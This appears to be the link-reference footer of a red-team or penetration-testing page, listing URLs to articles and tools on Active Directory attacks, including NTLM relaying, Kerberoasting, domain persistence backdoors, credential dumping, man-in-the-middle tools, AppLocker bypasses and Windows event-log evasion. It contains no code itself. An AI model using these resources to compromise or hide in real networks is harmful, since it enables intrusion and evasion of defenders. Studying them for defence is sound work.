[Combining NTLM Relaying and Kerberos delegation]: https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
[CVE-2019-1040]: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
[Invoke-NinaCopy]: https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy
[https_adsecurity.org_p_1929]: https://adsecurity.org/?p=1929
[https_support.microsoft.com_en-us_help_961320_a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni]: https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,
[DSRM]: http://drops.xmd5.com/static/drops/tips-9297.html
[DCshadow]: https://www.dcshadow.com/
[SID History]: https://adsecurity.org/?p=1772
[AdminSDHolder_SDProp]: https://adsecurity.org/?p=1906
[https_adsecurity.org_p_2716]: https://adsecurity.org/?p=2716
[Link 5]: https://www.anquanke.com/post/id/86531
[http_wooyun.jozxing.cc_static_drops_tips-13079.html]: http://wooyun.jozxing.cc/static/drops/tips-13079.html
[-Kerberoasting]: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/
[Backdooring AdminSDHolder for Persistence]: https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence
[Unconstrained Domain Persistence]: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence
[Dump Clear-Text Password after KB2871997 installed]: https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
[Hook PasswordChangeNotify]: http://www.vuln.cn/6812
[Local Administrator Password Solution]: http://www.liuhaihua.cn/archives/179102.html
[SYSVOL 2]: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/
[BloodHound]: https://github.com/BloodHoundAD/BloodHound
[CrackMapExec]: https://github.com/byt3bl33d3r/CrackMapExec
[DeathStar]: https://github.com/byt3bl33d3r/DeathStar
[http_www.freebuf.com_sectool_160884.html]: http://www.freebuf.com/sectool/160884.html
[routersploit]: https://github.com/reverse-shell/routersploit
[PRET]: https://github.com/RUB-NDS/PRET
[https_www.exploitee.rs]: https://www.exploitee.rs/
[OWASP-Nettacker]: https://www.owasp.org/index.php/OWASP_Nettacker
[isf]: https://github.com/dark-lbp/isf
[icsmaster]: https://github.com/w3h/icsmaster
[Cain]: http://www.oxid.it/cain.html
[Ettercap]: https://github.com/Ettercap/ettercap
[Responder]: https://github.com/SpiderLabs/Responder
[MITMf]: https://github.com/byt3bl33d3r/MITMf
[3r_MITMf]: https://github.com/evilsocket/bettercap
[UltimateAppLockerByPassList]: https://github.com/api0cradle/UltimateAppLockerByPassList
[https_lolbas-project.github.io]: https://lolbas-project.github.io/
[Process Doppelg_nging]: http://www.4hou.com/technology/9379.html
[Windows]: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/
[Invoke-Phant0m]: https://github.com/hlldz/Invoke-Phant0m
[Windwos-EventLog-Bypass]: https://github.com/3gstudent/Windwos-EventLog-Bypass